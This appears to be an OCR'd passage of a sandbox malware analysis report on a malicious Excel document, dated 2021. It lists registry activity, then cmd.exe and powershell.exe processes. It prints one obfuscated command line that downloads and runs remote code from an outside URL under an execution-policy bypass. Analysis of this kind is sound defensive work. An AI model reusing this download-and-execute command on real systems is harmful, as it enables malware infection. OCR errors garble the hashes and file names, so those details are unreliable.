Iltem 4

Item 5

Iltem 6

Item 7

Iltem 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF538 binary 04 00 00 00 7C 07 00 00 30 00 00 00 43 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EF538 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 1F F9 9F
00 E4 E5 D6 01 38 F5 OE 00 38 F5 OE 00
00 00 00 00 B8 02 00 00 66 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF5E3 binary 04 00 00 00 7C 07 00 00 33 00 00 00 43 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EF5E3 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 53 00 63 00 61 00 6E
00 6E 00 65 00 64 00 5F 00 32 00 35 00
3500 32 00 36 00 36 00 36 00 32 00 2D
00 50 00 61 00 79 00 6D 00 65 00 6E 00
74 00 2E 00 78 00 6C 00 73 00 00 00 00
00 17 00 00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00 41 00 6C
00 62 00 75 00 73 00 5C 00 44 00 65 00
73 00 6B 00 74 00 6F 00 70 00 5C 00 01
00 00 00 01 00 00 00 A3 89 BC 00 E4 E5
D6 01 E3 F5 OE 00 E3 F5 OE 00 00 00
00 00 B8 02 00 00 6E 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic .i5 binary 2E 6A 35 00 7C 07 00 00 02 00 00 00 00 success or wait 1 7FEEAA29ACO unknown

rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 78 00 00 00 01 00 00 00 3A 00
00 00 32 00 00 00 73 00 63 00 61 00 6E
00 6E 00 65 00 64 00 5F 00 32 00 35 00
3500 32 00 36 00 36 00 36 00 32 00 2D
00 70 00 61 00 79 00 6D 00 65 00 6E 00
74 00 2E 00 78 00 6C 00 73 00 00 00 73
00 63 00 61 00 6E 00 6E 00 65 00 64 00
5F 00 32 00 35 00 35 00 32 00 36 00 36
00 36 00 32 00 2D 00 70 00 61 00 79 00
6D 00 65 00 6E 00 74 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F532F binary 04 00 00 00 7C 07 00 00 2A 00 00 00 43 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\F532F 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 E3 53
DC OE E4 E5 D6 01 2F 53 OF 00 2F 53
OF 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 TFEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 TFEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAA29ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9713424497 .xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Iltem 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

7TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

TFEEAA29ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Page 28 of 31



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\F54D4

Key Path Name

Name

F54D4

Type

Type

binary

Old Data

Data

04 00 00 00 7C 07 00 00 2A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 E3 53
DC OE E4 E5 D6 01 D4 54 OF 00 D4 54
OF 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00

New Data

Completion

success or wait

Completion

Source

Count Address Symbol

1

TFEEAA29ACO unknown

Source
Count Address Symbol

Analysis Process: cmd.exe PID: 2592 Parent PID: 1916

General

Start time:
Start date:
Path:

Copyright null 2021

09:30:48
08/01/2021
C:\Windows\System32\cmd.exe
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Wow64 process (32bit): false

Commandline: cmd.eXE /c POWErsHEIl -ex ByPASs -nop -w 1 leX( cUrl (‘http://lankarecipes.com/Sparc.jp'
+'g"))

Imagebase: 0x49f10000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6ABAFAQ06F7C42C1BA41

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: powershell.exe PID: 2556 Parent PID: 2592

General

Start time: 09:30:49

Start date: 08/01/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: PoOWErsHEIl -ex ByPASs -nop -w 1 leX( cUrl (‘http://lankarecipes.com/Sparc.jp' +'g'))

Imagebase: 0x13fb60000

File size: 473600 bytes

MDS5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.2114806826.0000000001C46000.00000004.00000001.sdmp,
Author: Florian Roth

Reputation: high

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol

Source
Old File Path New File Path Completion Count Address Symbol

Source
File Path Offset Length Value Ascii Completion Count Address Symbol

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA185208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEEA185208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA2AA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEA31BEC7 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.psixml unknown 50 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.psixml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.psixml unknown 4096 success or wait 63 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.psixml unknown 201 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.psixml unknown 4096 end of file 1 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEA31BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEA31BEC7 ReadFile
